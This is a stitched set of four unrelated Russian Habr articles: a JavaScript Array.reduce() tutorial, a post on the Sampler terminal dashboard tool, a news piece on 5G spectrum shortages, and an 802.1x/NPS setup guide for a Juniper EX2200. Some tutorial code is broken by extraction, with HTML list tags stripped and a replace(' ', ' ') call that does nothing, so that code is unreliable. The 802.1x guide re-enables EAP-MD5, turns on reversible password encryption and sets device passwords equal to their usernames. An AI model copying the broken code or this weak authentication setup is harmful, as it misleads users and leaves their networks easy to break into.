Допустим, у есть массив чисел, которые хотим сложить вместе. Используя Array.forEach(), можем сделать что-то вроде этого:
```
var total = 0;
[1, 2, 3].forEach(function (num) {
total += num;
});
```
Это пример-клише для использования Array.reduce(). Слово «accumulator» сбивает с толку, поэтому в этом примере назовем его «sum», потому что это то, что оно есть по своей сути.
```
var total = [1, 2, 3].reduce(function (sum, current) {
return sum + current;
}, 0);
Здесь мы передаем 0 как наше начальное значение.
```
В обратном вызове мы добавляем текущее значение к сумме, которая имеет начальное значение 0 в первом цикле, затем 1 (начальное значение 0 плюс значение элемента 1), затем 3 (суммарное значение 1 плюс значение элемента 2) и так далее.
[Пример.](https://codepen.io/cferdinandi/pen/drJOOB)
**2.Альтернатива комбинированию методов массива Array.map() и Array.filter() в одном шаге**
Представим, что в Хогвартсе множество волшебников.
```
var wizards = [
{
name: 'Harry Potter',
house: 'Gryfindor'
},
{
name: 'Cedric Diggory',
house: 'Hufflepuff'
},
{
name: 'Tonks',
house: 'Hufflepuff'
},
{
name: 'Ronald Weasley',
house: 'Gryfindor'
},
{
name: 'Hermione Granger',
house: 'Gryfindor'
}];
```
Хотим создать новый массив, который будет содержать только имена мастеров из Хаффлпаффа. Один из способов сделать это — использовать метод Array.filter(), чтобы получить обратно только тех волшебников, у которых свойство дома — Хаффлпафф. Затем используем метод Array.map() для создания нового массива, содержащего только свойство name для остальных мастеров.
```
// Получаем имена волшебников из Хаффлпафф
var hufflepuff = wizards.filter(function (wizard) {
return wizard.house === 'Hufflepuff';
}).map(function (wizard) {
return wizard.name;
});
```
С помощью метода Array.reduce() можно получить один и тот же массив за один проход, что улучшит нашу производительность. Передаем пустой массив ([]) в качестве начального значения. На каждом проходе проверяем, является ли wizard.house Хаффлпаффом. Если это так, отправляем его в newArr (наш accumulator в этом примере). Если нет, ничего не делаем.
В любом случае, возвращаем newArr, чтобы получить accumulator на следующем проходе.
```
// Получаем имена волшебников из Хаффлпафф
var hufflepuff = wizards.reduce(function (newArr, wizard) {
if (wizard.house === 'Hufflepuff') {
newArr.push(wizard.name);
}
return newArr;
}, []);
```
[Пример.](https://codepen.io/cferdinandi/pen/jJYVyL)
**3.Создание разметки из массива**
Что если вместо создания массива имен, хотим создать неупорядоченный список мастеров в Хаффлпаффе? Вместо пустого массив в Array.reduce() в качестве нашего начального значения, передадим пустую строку ('') и назовем ее html.
Если wizard.house равен Hufflepuff, мы объединяем нашу html-строку с wizard.name, обернутым в открывающий и закрывающий элементы списка (li). Затем вернем HTML, как accumulator в следующем цикле.
```
// Создание списка волшебников из Хаффлпафф
var hufflepuffList = wizards.reduce(function (html, wizard) {
if (wizard.house === 'Hufflepuff') {
html += '- ' + wizard.name + '
';
}
return html;
}, '');
```
Добавим открывающий и закрывающий неупорядоченный элемент списка до и после Array.reduce(). Теперь все готово для добавления разметки в DOM.
```
// Создание списка волшебников из Хаффлпафф
var hufflepuffList = '' + wizards.reduce(function (html, wizard) {
if (wizard.house === 'Hufflepuff') {
html += '* ' + wizard.name + '
';
}
return html;
}, '') + '
';
```
[Пример.](https://codepen.io/cferdinandi/pen/oNgYRZZ)
**4.Группировка похожих элементов в массив**
В библиотеке [lodash](https://lodash.com/) есть метод [groupBy()](https://lodash.com/docs/4.17.15#groupBy), который принимает коллекцию элементов в виде массива и группирует их в объект на основе некоторых критериев.
Допустим, нам нужен массив чисел.
Если хотим сгруппировать все элементы в числа по их целочисленному значению, то сделать это следует с помощью lodash.
```
var numbers = [6.1, 4.2, 6.3];
// returns {'4': [4.2], '6': [6.1, 6.3]}
_.groupBy(numbers, Math.floor);
```
Если имеется массив слов, и нужно сгруппировать элементы в словах по их длине, мы бы это сделали.
```
var words = ['one', 'two', 'three'];
// returns {'3': ['one', 'two'], '5': ['three']}
_.groupBy(words, 'length');
```
**Создание функции groupBy() с помощью Array.reduce()**
Можно воссоздать ту же функциональность, используя метод Array.reduce().
Cоздадим вспомогательную функцию groupBy(), которая принимает массив и критерии для сортировки в качестве аргументов. Внутри groupBy() мы будем запускать Array.reduce() для нашего массива, передавая пустой объект ({}) в качестве отправной точки и возвращая результат.
```
var groupBy = function (arr, criteria) {
return arr.reduce(function (obj, item) {
// Some code will go here...
}, {});
};
```
Внутри Array.reduce() функцией callback проверим, является ли критерий функцией, применяемой к элементу, или же свойством элемента. Тогда мы получим его значение из текущего элемента.
Если в объекте пока нет свойства с этим значением, создадим его[свойство] и назначим пустой массив в качестве его значения. Наконец, добавим элемент в это свойство и вернем объект в качестве accumulator для следующего цикла.
```
var groupBy = function (arr, criteria) {
return arr.reduce(function (obj, item) {
// Проверка на то, является ли критерий функцией элемента или же //свойством элемента
var key = typeof criteria === 'function' ? criteria(item) : item[criteria];
// Если свойство не создано, создаем его.
if (!obj.hasOwnProperty(key)) {
obj[key] = [];
}
// Добавление значения в объект
obj[key].push(item);
// Возвращение объекта для следующего шага
return obj;
}, {});};
```
Демонстрация завершенной вспомогательной функции.
Отдельное спасибо [Тому Бремеру](https://tbremer.com/) за помощь. Эту вспомогательную функцию и многое другое можно найти в [Vanilla JS Toolkit](https://vanillajstoolkit.com/).
**5.Объединение данных из двух источников в массив**
Вспомним наш список волшебников.
```
var wizards = [
{
name: 'Harry Potter',
house: 'Gryfindor'
},
{
name: 'Cedric Diggory',
house: 'Hufflepuff'
},
{
name: 'Tonks',
house: 'Hufflepuff'
},
{
name: 'Ronald Weasley',
house: 'Gryfindor'
},
{
name: 'Hermione Granger',
house: 'Gryfindor'
}];
```
Что делать, если бы был другой набор данных — объект c домом и очками, которые заработал каждый маг.
```
var points = {
HarryPotter: 500,
CedricDiggory: 750,
RonaldWeasley: 100,
HermioneGranger: 1270
};
```
Представим, что хотим объединить оба набора данных в один массив с количеством очков, добавленных к данным каждого волшебника в массиве wizards. Как это сделать?
Метод Array.reduce() идеально подходит для этого!
```
var wizardsWithPoints = wizards.reduce(function (arr, wizard) {
// Получаем значение для объекта points, удалив пробелы из имени //волшебника
var key = wizard.name.replace(' ', ' ');
// Если у волшебника есть очки, устанавливаем значение,
// иначе устанавливаем 0.
if (points[key]) {
wizard.points = points[key];
} else {
wizard.points = 0;
}
// Добавляем объект wizard в новый массив.
arr.push(wizard);
// Возвращаем массив.
return arr;
}, []);
```
[Пример объединения данных из двух источников в массив](https://codepen.io/cferdinandi/pen/RwNoXEo).
**6.Объединение данных из двух источников в объект**
Что, если вместо этого необходимо объединить два источника данных в объект, в котором имя каждого волшебника это ключ (key), а их дом и очки — свойства? Опять же, метод Array.reduce() идеально подходит для этого.
```
var wizardsAsAnObject = wizards.reduce(function (obj, wizard) {
// Получаем значение ключа для объекта points, удалив пробелы из имени
//волшебника
var key = wizard.name.replace(' ', ' ');
// Если у волшебника есть очки, устанавливаем значение,
// иначе устанавливаем 0.
if (points[key]) {
wizard.points = points[key];
} else {
wizard.points = 0;
}
// Удаляем свойство name
delete wizard.name;
// Добавляем значение wizard в новый объект
obj[key] = wizard;
// Возвращаем массив
return obj;
}, {});
```
[Пример объединения данных из двух источников в объект](https://codepen.io/cferdinandi/pen/bGNBXZL).
**Стоит ли использовать Array.reduce()?**
Метод Array.reduce() превратился из бессмысленного в мой любимый метод JavaScript. Итак, стоит ли его использовать? И когда же?
Метод Array.reduce() обладает фантастической поддержкой браузеров. Работает как во всех современных браузерах так и в IE9. Уже долгое время поддерживается мобильными браузерами. Если нужно еще больше, то можно добавить полифилл, чтобы вернуть поддержку в IE6.
Самой серьезной проблемой может быть то, что Array.reduce() сбивает с толку людей, которые никогда не сталкивались с ним[методом] раньше. Комбинация методов Array.filter() с Array.map() выполняется медленнее и включает дополнительные шаги, но ее легче читать. Из названий методов видно, что они должны делать.
Как уже было сказано, метод Array.reduce(), в целом, упрощает более сложные вещи. Хорошим примером является вспомогательная функция groupBy().
В конечном счете, это еще один инструмент для вашего инструментария. Инструмент, который, если его правильно использовать, может дать сверхспособности.
#### Об авторе
Крис Фердинанди помогает людям изучать ванильный JavaScript. Он считает, что есть более простой и надежный способ делать вещи для интернета.
Крис является автором серии [Vanilla JS Pocket Guide](https://vanillajsguides.com/), создателем учебной программы [Vanilla JS Academy](https://vanillajsacademy.com/) и ведущим [Vanilla JS Podcast](https://vanillajspodcast.com/). Его [бюллетень советов разработчикам](https://gomakethings.com/) читают тысячи разработчиков каждый будний день.
Он обучал разработчиков в таких организациях, как Chobani и Boston Globe, а его плагины JavaScript были использованы Apple и Гарвардской школой бизнеса. Крис Койер, основатель CSS-Tricks и CodePen, описал его работу как "бесконечно цитируемую".
Крис любит пиратов, щенков и фильмы Pixar, а также живет рядом с лошадиными фермами в сельской местности Массачусетса. Он ведет [Go Make Things](https://gomakethings.com/) с щенком Бейли. | https://habr.com/ru/post/483182/ | null | ru | null |
# Sampler. Консольная утилита для визуализации результата любых shell команд
В общем случае с помощью shell команды можно получить любую метрику, без написания кода и интеграций. А значит в консоли должен быть простой и удобный инструмент для визуализации.
[](http://github.com/sqshq/sampler)
Наблюдение за изменением состояния в базе данных, мониторинг размера очередей, телеметрия с удаленных серверов, запуск деплой скриптов и получение нотификации по завершению — конфигурируется за минуту простым YAML файлом.
Код [доступен на гитхабе](http://github.com/sqshq/sampler). Инструкции [по установке](https://github.com/sqshq/sampler#installation) — для Linux, macOS и (экспериментально) Windows.
Зачем мне это, когда есть полноценные системы мониторинга?
----------------------------------------------------------
Сразу оговорюсь, что это ни в коей мере не альтернатива полномасштабным дашбордам и мониторингу. Сравнивать Sampler c [Prometheus+Grafana](http://prometheus.io/) — то же что сравнивать `tail` и `less` с [Elastic Stack](https://www.elastic.co/products/elastic-stack) или [Splunk](https://www.splunk.com).
Но если поднимать и настраивать продакшн мониторинг для вашей задачи — как из пушки по воробьям, то возможно Sampler будет ответом на вопрос. Он задумывался как инструмент для прототипирования, демонстраций, или просто наблюдения за метриками на локали и удаленном сервере.
Значит его надо ставить на все сервера?
---------------------------------------
Нет, Sampler можно запускать локально, но метрики забирать со многих удаленных машин. Каждый компонент на дашборде имеет `init` секцию, где можно произвести вход по `ssh` (или сделать любое другое действие для входа в `interactive shell` — установить соединение с БД, подключиться по JMX, авторизоваться в API, итп)
Виды компонентов и примеры конфигурации
---------------------------------------
*В примерах конфигурации приведены команды для macOS. Многие будут работать без изменений под Linux, но некоторые нужно адаптировать.*
### Runchart
**Конфигурация**
```
runcharts:
- title: Search engine response time
rate-ms: 500 # sampling rate, default = 1000
scale: 2 # number of digits after sample decimal point, default = 1
legend:
enabled: true # enables item labels, default = true
details: false # enables item statistics: cur/min/max/dlt, default = true
items:
- label: GOOGLE
sample: curl -o /dev/null -s -w '%{time_total}' https://www.google.com
- label: YAHOO
sample: curl -o /dev/null -s -w '%{time_total}' https://search.yahoo.com
- label: BING
sample: curl -o /dev/null -s -w '%{time_total}' https://www.bing.com
```
### Sparkline
**Конфигурация**
```
sparklines:
- title: CPU usage
rate-ms: 200
scale: 0
sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'
- title: Free memory pages
rate-ms: 200
scale: 0
sample: memory_pressure | grep 'Pages free' | awk '{print $3}'
```
### Barchart
**Конфигурация**
```
barcharts:
- title: Local network activity
rate-ms: 500 # sampling rate, default = 1000
scale: 0 # number of digits after sample decimal point, default = 1
items:
- label: UDP bytes in
sample: nettop -J bytes_in -l 1 -m udp | awk '{sum += $4} END {print sum}'
- label: UDP bytes out
sample: nettop -J bytes_out -l 1 -m udp | awk '{sum += $4} END {print sum}'
- label: TCP bytes in
sample: nettop -J bytes_in -l 1 -m tcp | awk '{sum += $4} END {print sum}'
- label: TCP bytes out
sample: nettop -J bytes_out -l 1 -m tcp | awk '{sum += $4} END {print sum}'
```
### Gauge
**Конфигурация**
```
gauges:
- title: Minute progress
rate-ms: 500 # sampling rate, default = 1000
scale: 2 # number of digits after sample decimal point, default = 1
percent-only: false # toggle display of the current value, default = false
color: 178 # 8-bit color number, default one is chosen from a pre-defined palette
cur:
sample: date +%S # sample script for current value
max:
sample: echo 60 # sample script for max value
min:
sample: echo 0 # sample script for min value
- title: Year progress
cur:
sample: date +%j
max:
sample: echo 365
min:
sample: echo 0
```
### Textbox
**Конфигурация**
```
textboxes:
- title: Local weather
rate-ms: 10000 # sampling rate, default = 1000
sample: curl wttr.in?0ATQF
border: false # border around the item, default = true
color: 178 # 8-bit color number, default is white
- title: Docker containers stats
rate-ms: 500
sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.PIDs}}"
```
### Asciibox
**Конфигурация**
```
asciiboxes:
- title: UTC time
rate-ms: 500 # sampling rate, default = 1000
font: 3d # font type, default = 2d
border: false # border around the item, default = true
color: 43 # 8-bit color number, default is white
sample: env TZ=UTC date +%r
```
Дополнительная функциональность
-------------------------------
### Триггеры
Триггеры позволяют запустить некоторое дополнительное действие, если замеряемое значение удовлетворяет заданному условию. Как условие, так и реакция — это так же shell команды, в которые подаются переменные `$label`, `$cur` и `$prev`. В первую очередь триггеры задумывались для алертинга (встроены звуковые и визуальные нотификации), но c опцией вашего собственного скрипта для реакции на срабатывание триггера его действие можно кастомизировать как угодно (например отправить нотификацию на телефон с [Pushover](https://pushover.net))
Пример ниже иллюстрирует конфигурацию триггеров. Если latency ответа поисковой системы превысит 0.3 sec — Sampler моргнет стандартным terminal bell, проиграет NASA quindar tone, покажет визуальную нотификацию на графике и запустит скрипт, который в данном случае голосом произносит измеренное значение latency:
```
runcharts:
- title: SEARCH ENGINE RESPONSE TIME (sec)
rate-ms: 200
items:
- label: GOOGLE
sample: curl -o /dev/null -s -w '%{time_total}' https://www.google.com
- label: YAHOO
sample: curl -o /dev/null -s -w '%{time_total}' https://search.yahoo.com
triggers:
- title: Latency threshold exceeded
condition: echo "$prev < 0.3 && $cur > 0.3" |bc -l # ожидает "1" как TRUE
actions:
terminal-bell: true # default = false
sound: true # NASA quindar tone, default = false
visual: true # default = false
script: 'say alert: ${label} latency exceeded ${cur} second'
```
### Interactive shell
Если до начала семплирования необходимо произвести вход в interactive shell (для единовременного подключения к БД, входа по SSH, подключения к JMX, итп) — можно указать `init script`, который исполнится один раз при старте. Пример подключения и опроса mongoDB:
```
textboxes:
- title: MongoDB polling
rate-ms: 500
init: mongo --quiet --host=localhost test # выполнится один раз
sample: Date.now(); # сработает в рамках mongo shell
transform: echo result = $sample # выполнится в рамках локальной сессии для преобразования значения
```
Кроме того, есть поддержка [PTY режима](https://github.com/sqshq/sampler#pty-mode) и [multistep-init скриптов](https://github.com/sqshq/sampler#multistep-init).
### Переменные
Если в конфигурации присутствуют часто используемые части, которые не хочется повторять — их можно [вынести в переменные](https://github.com/sqshq/sampler#variables) и использовать в любом месте YML файла.
На практике
-----------
Как бекенд-программисту, мне часто приходится отлаживать, прототипировать и измерять. Отсюда и регулярная необходимость визуализации и мониторинга на скорую руку. Писать каждый раз что-то кастомное — неоправданно долго, но если процесс кастомизации был бы быстрым и (более-менее) удобным, такая визуализация вполне могла бы экономить время и решать задачи. Ничего подобного мне найти не удалось, поэтому было решено писать такой инструмент самому, и сделать его как можно более универсально конфигурабельным.
В самый первый раз по назначению я начал его использовать для отладки механизма группировки и аккумуляции данных, который быстро меняет статусы "событий" в памяти. Чтение состояния системы из логов или опрос отдельных счетчиков по каждому из статусов никак не помогает быстро сориентироваться и понять что к чему, а один взгляд на Sampler вполне решает эту задачу —
Для всего что использую сам, я приготовил [сборник "рецептов"](https://github.com/sqshq/sampler#real-world-recipes) — моковых конфигураций, которые можно скопировать и сразу начать кастомизировать под свои задачи
* Соединения с базами данных: MySQL, PostgreSQL, MongoDB, Neo4J
* Kafka
* Docker
* SSH
* JMX
Этот список будет дополняться (и ваш вклад очень приветствуются), а тем временем в issues люди начали [делиться своими конфигурациями](https://github.com/sqshq/sampler/issues/34) для дашбордов Kubernetes, Github, и прочим.
Это все, хабр. Буду рад, если кому-то окажется полезным. | https://habr.com/ru/post/463441/ | null | ru | null |
# Операторы просят частот: качество услуг в сетях сотовой связи может ухудшиться, если не выделят новые диапазоны
Мобильные операторы в России сосредоточены на развитии сетей 4G. В течение ближайших нескольких лет технология LTE продолжит превалировать, так, к 2025 году ею будут пользоваться 80% российских абонентов сотовой связи. Однако при сохранении существующих темпов роста трафика обеспечить передачу данных с гарантированно качественным уровнем сервиса можно будет только при переходе к более современным технологиям, требующим новых диапазонов частот, предупреждают эксперты.
Деградация неизбежна
--------------------
Объем передаваемого трафика в сетях сотовой связи растет экспоненциально, отметил, выступая на форуме СПЕКТР-2021, главный конструктор ФГУП «Научно-исследовательский институт радио» (НИИР) Валерий Бутенко.
Одна из причин этого – пандемия коронавируса и переход на общение в онлайн-режиме, например, проведение видеоконференций с использованием мобильного интернета.
Среди других причин роста трафика:
* распространение смартфонов с поддержкой 4G;
* высокая динамика развития сетей LTE;
* увеличение интереса к «тяжелому» контенту (в основном видео);
* увеличение спроса на сотовую связь в корпоративном сегменте;
* невысокая стоимость услуг: тарифы на мобильный интернет в России одни из самых низких в мире.
Сети 4G в России работают в диапазонах 800, 1800 и 2600 мегагерц. Именно на LTE до 2025 года придется основной мировой интернет-трафик, рассказывали [ранее](https://rspectr.com/articles/926/2g-i-3g-starikam-tut-ne-mesto) эксперты RSpectr.
Ситуация в России соответствует общемировой, отмечают аналитики [GSMA](https://rspectr.com/infographics/637/polovina-podklyuchenij-cherez-4g). По их прогнозам, к 2025 году 4G будет пользоваться подавляющее большинство (80%) абонентов сотовой связи в РФ.
Однако уже сегодня операторы используют различные способы увеличения емкости сетей, для того чтобы добиться гарантированного качества сервисов, отмечает В.Бутенко. Это, в частности, выключение 3G в 2100 МГц и развертывание в этом диапазоне LTE, увеличение числа базовых станций для расширения покрытия и другие.
«Но это все методы и способы, которые, с одной стороны, требуют дополнительных финансовых расходов. А с другой – они все являются конечными. Нельзя безостановочно наращивать количество базовых станций в условиях ограниченного диапазона», – подчеркивает В.Бутенко.
Он также рассказал, что по оценке компании МТС, **в Москве к 2026 году возможности увеличения ресурсов сети будут исчерпаны; затем неизбежна деградация качества оказываемых услуг.**
`Валерий Бутенко, НИИР:`
`Обеспечить передачу данных с гарантированным уровнем сервиса в условиях экспоненциально растущих объемов трафика можно только при переходе к более современным технологиям, таким как 5G.`
Представители операторского сообщества согласны с этим утверждением.
Например, руководитель департамента по внедрению новых технологий компании «ВымпелКом» (бренд билайн) Александр Балюк на форуме [5G Future Russia 2021](https://rspectr.com/novosti-partnerov/51314/sozdanie-masshtabnoj-seti-5g-v-rossii-k-2024-godu-realnaya-cel-ili-fantaziya) заявил: «Трафик передачи данных в мобильных сетях продолжает расти. Но у “трубы” под названием LTE есть ограничения. И это нас приводит к двум сценариям. Первый – это ухудшение качества услуг для абонентов. Второй – это увеличение их стоимости. А учитывая, что в последнее время операторов любят нагружать разными обременениями, возможно, что реализуются оба».
В пресс-службе Билайна добавили, что **при сохранении соответствующих темпов роста трафика деградация качества практически неизбежна в перспективе ближайших двух-трёх лет.**
«В наиболее плотно заселенных районах она начнется еще раньше. Разрешить данную ситуацию позволит либо выделение дополнительных полос частот, которые могут быть использованы в том числе для 5G, либо приоритизация трафика по стоимости услуг», – отметили в компании.
Об этом же заявил в [интервью](https://www.rbc.ru/interview/technology_and_media/11/10/2021/615d2c7d9a7947ae84d0c9ec?from=column_1) РБК гендиректор «МегаФона» Хачатур Помбухчан.
Он пояснил, что плотность населения в агломерациях увеличивается, а объем потребления данных растет примерно на 40-50% в год. Более тяжелыми становятся контентные единицы: видео, большое число приложений, которые постоянно обновляются и передают данные.
«Стандарт может поддерживать определенную плотность населения с определенным объемом трафика. Мобильные операторы вынуждены увеличивать количество базовых станций, чтобы уменьшить зону покрытия каждой и добиться на ней приемлемого качества. Это работает какое-то время, потом становится неэффективным», – подчеркнул глава «МегаФона». По его словам, во-первых, это слишком дорого. Во-вторых, очень сложно поддерживать транспортную опорную инфраструктуру. «Если в наших агломерациях в течение какого-то осмысленного времени не появится нормальный стандарт 5G, то качество обычного пользовательского опыта мобильной связи начнет деградировать», – предупредил Х.Помбухчан, добавив, что это произойдет в течение менее чем десяти лет.
Чтобы увеличить емкость сетей, операторы проводят рефарминг частот, запуская LTE вместо сетей предыдущих поколений, рассказали RSpectr в пресс-службе «МегаФона».
«Тем не менее, это не позволит в полной мере справиться с нагрузками. Предотвратить проблему можно, решив частотный вопрос, выделив для коммерческой сети 5G диапазон 3,4-3,8 ГГц. Он является наиболее подходящим для развития сети и сегодня успешно используется многими странами мира», – подчеркивают в компании.
Частотный вопрос открыт
-----------------------
Решением Госкомиссии по радиочастотам от 17 марта 2020 года перспективными для построения сетей связи 5G на территории РФ определены полосы 694–790 МГц, 2300–2400 МГц, 2570–2620 МГц, 4400–4990 МГц и 24,25–27,5 гигагерц.
Этим же решением была открыта возможность для неопределенного круга лиц использовать для внедрения сетей пятого поколения полосу радиочастот 24,25–24,65 гигагерц.
Первой и пока единственной компанией в РФ, получившей лицензию на оказание услуг мобильной связи стандарта 5G, стала [МТС](https://rspectr.com/novosti/59670/mts-poluchila-pervuyu-5g-licenziyu-v-rossii).
Сегодня в стране 16 зон, где развернуты тестовые сети пятого поколения. Для них задействуют частоты в 4,8 ГГц и 27 гигагерц.
Операторы настаивают, что наиболее подходящим и востребованным во всем мире для развития сетей пятого поколения является диапазон 3,4–3,8 ГГц, но в России он занят силовыми структурами и средствами «Роскосмоса». Поэтому даже тестирование технологии 5G в этих частотах запрещено.
«Мы верим в необходимость диапазона 3,4–3,8 ГГц, – заявила на форуме 5G Future Russia 2021 директор по стратегическому развитию “Ростелекома” Алеся Мамчур. – Для нас это неизменная позиция, и мы продолжаем настаивать на том, что выделенного диапазона 24,25–24,65 ГГц для решения задач недостаточно – он должен рассматриваться как комплементарный к базовому. И это же касается 4,8–4,99 ГГц».
Вопросы безопасности страны выше коммерческих интересов компаний, констатирует В.Бутенко.
Эксперты часто ссылаются на то, что **диапазон 4800 МГц имеет ограничения для использования в приграничной зоне.**
Директор департамента государственного регулирования рынка телекоммуникаций Минцифры России Дмитрий Тур на форуме СПЕКТР-2021 сообщил о проработке вариантов обеспечения международно-правовой защиты частотных присвоений в 4,8–4,99 ГГц на сопредельных территориях.
Д.Тур также напомнил: **диапазон 700 МГц, который может быть использован для внедрения 5G, сегодня занят эфирным телевещанием.**
На нем работают передатчики РТРС, обеспечивающие население 20 обязательными общедоступными каналами первого и второго мультиплексов. Кроме того, его используют радионавигационные системы. Для освобождения диапазона необходима согласованная позиция вещателей о возможности перевода ТВ-передатчиков в более низкие полосы частот. А также запуск программы полного перехода средств Минобороны на другие диапазоны и частичное использование 700 МГц в среднесрочной перспективе в отдельных городах.
6 ГГц для пятого поколения
--------------------------
Эксперты отмечают, что в среднесрочной перспективе для нужд 5G может быть использован диапазон 6425–7100 МГц (6 ГГц) – в случае принятия на Всемирной конференции радиосвязи 2023 года решения о его распределении сетям пятого поколения. «Если это произойдет, проблема частотного дефицита для 5G на какое-то время будет снята», – говорит В.Бутенко.
Ведущий эксперт по беспроводным технологиям Huawei Евразия Дмитрий Конарев объясняет, что в 2025–2030 годах потребуется существенно больше спектра в средней полосе частот, чтобы экономически эффективно реализовать потенциал мобильной связи. По словам эксперта, 6 ГГц в ближайшие пять лет сможет стать базовым диапазоном для наращивания емкости сетей в городах.
Директор Центра исследования перспективных беспроводных технологий связи НИИР Евгений Девяткин уточнил, что в России его изучают. Так, его институт в ближайшее время планирует провести работы по оценке загрузки полосы 6425–7100 МГц и натурные испытания предсерийных образцов оборудования, которое предоставит компания Huawei.
«В случае принятия решения о распределении диапазона 6 ГГц сетям 5G мы получим более 500 МГц дополнительного частотного ресурса, который по ряду характеристик не уступает 3,5 ГГц», – подчеркивает Е.Девяткин. | https://habr.com/ru/post/588621/ | null | ru | null |
# 802.1x, EX2200, NPS и все-все-все…
Идея использовать 802.1x как средство борьбы с неавторизованным доступом к сети, не нова. Каждый из нас наверняка сталкивался с курьером из службы доставки, у которого из рукава фирменной куртки виднеется патчкорд, и ты уже видишь, как он, заметив свободную RJ-45 розетку, стремительным движением бросается к ней и…
Однако, если в общем концепте использование и настройка 802.1x с авторизацией через RADIUS избита и проста, в данном случае произошел казус, решение которого я и предлагаю ниже.
**Дано:**
* Коммутатор доступа — EX2200, JunOS 12.3R2.
* RADIUS-сервер на базе NPS Windows Server 2012R2.
* Разнообразный зоопарк устройств вида — телевизоры, AppleTV, принтеры и прочее мелкое сетевое зверье, неспособное как нормальные и адекватные участники сети авторизоваться по сертификатами или PEAP. Для каждого из девайсов в Active Directory своя учетка в соответствующем OU с sAMAccountName=MAC (в нижнем регистре, без знаков разделения), password=sAMAccountName.
Для подразделений или групп безопасности, содержащих эти девайсы, создана отдельная FineGrainedPasswordPolicy, чтобы получить возможность задания паролей, неподходящих по стандартам безопасности.
Исходный конфиг для 802.1x на EX2200:
```
//set actual interfaces
set interfaces interface-range ACCESS_PORTS member "ge-0/0/[0-40]"
// Config interface range as L2 ports
set interfaces interface-range ACCESS_PORTS unit 0 family ethernet-switching
set protocols dot1x authenticator authentication-profile-name dynamicvlan
set protocols dot1x authenticator radius-options use-vlan-id
set protocols dot1x authenticator interface ACCESS_PORTS supplicant single
set protocols dot1x authenticator interface ACCESS_PORTS transmit-period 10
set protocols dot1x authenticator interface ACCESS_PORTS retries 0
set protocols dot1x authenticator interface ACCESS_PORTS mac-radius
set protocols dot1x authenticator interface ACCESS_PORTS supplicant-timeout 10
//set actual reject-vlan and fail-vlan
set protocols dot1x authenticator interface ACCESS_PORTS server-reject-vlan default
set protocols dot1x authenticator interface ACCESS_PORTS server-fail vlan-name default
set protocols dot1x authenticator interface ACCESS_PORTS guest-vlan default
//set actual password
set access radius-server 172.17.x.x secret "xxx"
set access profile dynamicvlan authentication-order radius
set access profile dynamicvlan radius authentication-server 172.17.x.x
```
Все рабочие станции авторизовались без проблем, а вот всякая вышеперечисленная шушера — нет. **Wireshark** упорно показывал, что NPS шлёт Access-Reject с кодом EAP 4, что, как известно в узких кругах, означает Failure.
Информативно, впрочем, как и всегда…
Протокол, используемый supplicant для mac-radius аутентификации, по умолчанию — EAP-MD5.
Есть еще варианты PEAP и PAP.
PEAP недоступен для EX2200.
Пробуем настраивать PAP. В plain text, конечно, не очень-то хотелось, но, за не имением лучшего, вбиваем заветную команду
```
set protocols dot1x authenticator interface ACCESS_PORTS mac-radius authentication-protocol pap
```
и (барабанная дробь) — Syntax error — услужливо сообщает нам Juniper.
В ходе разборок, угроз паяльником и прочих репрессивных мер сайт Juniper подсказал, что сия опция доступна только лишь для прошивок с 15.1 релиза.
Казалось бы, вот оно, решение проблемы. Ан нет, тот же самый Juniper мало того, что рекомендует, так ещё и всячески ограждает кастомеров от такого непотребства, как прошивка 15.1 на EX2200. Грит, утилизация центрального процессора и оперативной памяти сверх нормы, посему 12.3 — потолок версии JunOS для счастливых обладателей EX2200.
Окей, будем разбираться с протоколом, которым шлёт свитч данные на NPS.
Вот и оказалось, что по умолчанию шлёт он их в eap-md5, который что? — правильно, отключен в Windows Server, начиная аж с 2008 релиза — дескать, несекьюрно. Несколько запросов в Google дают искомый результат — reg-файл, включающий нужный нам протокол.
Однако NPS упорно отвечает на запросы принтеров и прочего **Access-Reject**.
Достал сигареты, вспомнил, что бросил, спрятал…
Google, кто ль на свете… А нет, это из другой оперы…
Ok, Google? *802.1x MAC authentication with NPS RADIUS*
Спустя несколько страниц гугла, на форуме ubnt нашёл искомое. Надобно включить несколько параметров для учетных данных девайсов, после чего пересоздать пароли и — вуаля — Miracle. Причем, получилось даже лучше чем ожидалось. Eap-md5, конечно, не бог весть что, но все же лучше, чем plain text.
Результирующий конфиг, настройки и скрины политики под спойлером.
**Конфигурация EX2200, политики NPS***Магический reg-файл, включающий поддержку EAP-MD5 в Windows Server 2012 R2*
```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\PPP\EAP\4]
"RolesSupported"=dword:0000000a
"FriendlyName"="MD5-Challenge"
"Path"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,\
00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,52,00,\
61,00,73,00,63,00,68,00,61,00,70,00,2e,00,64,00,6c,00,6c,00,00,00
"InvokeUsernameDialog"=dword:00000001
"InvokePasswordDialog"=dword:00000001
```
После внесения изменений в реестр нужно перезапустить службу NPS
```
Stop-Service IAS
Start-Service IAS
```
*Скрипт, выставляющий необходимые настройки для аккаунтов девайсов:*
```
$devices=Get-ADUser -SearchBase "ou=802.1x-groups,ou=devices_groups,dc=company,dc=local" -Filter *
foreach ($device in $devices) {
set-aduser -Identity $device.name -UserPrincipalName ($device.name+"@company.local") -PasswordNeverExpires $true -AllowReversiblePasswordEncryption $true -CannotChangePassword $true
Set-ADAccountPassword -Identity $device.name -NewPassword (ConvertTo-SecureString -AsPlainText $device.name -force)
}
```
По сути, он выставляет параметры эквивалентно скриншоту. Но, одно дело — проставить для пары девайсов, и совсем другое — когда у тебя их более -дцати. Также скрипт переустанавливает пароль для учетной записи девайса, что есть необходимо после включения обратимого шифрования.
*Настройки политики NPS:*
* Указываем группу с девайсами и тип порта.
* После манипуляций с реестром в списке доступных протоколов появляется наш заветный MD5-Challenge. Его и выбираем.
* Оставшиеся настройки выставляем, исходя из требований логической реализации. Ничем не отличается от стандартной настройки RADIUS + 802.1x.
**Итог:**
* Сетевые девайсы, типа телевизоры, Apple TV, принтеры аутентифицируются по 802.1x и по принадлежности к группе.
* Пароли передаются не в открытом виде, а худо-бедно зашифрованные.
**Список указаний, руководств и ресурсов:**
[Рекомендации Juniper по поводу версии ПО на EX2200](https://kb.juniper.net/InfoCenter/index?page=content&id=KB21476)
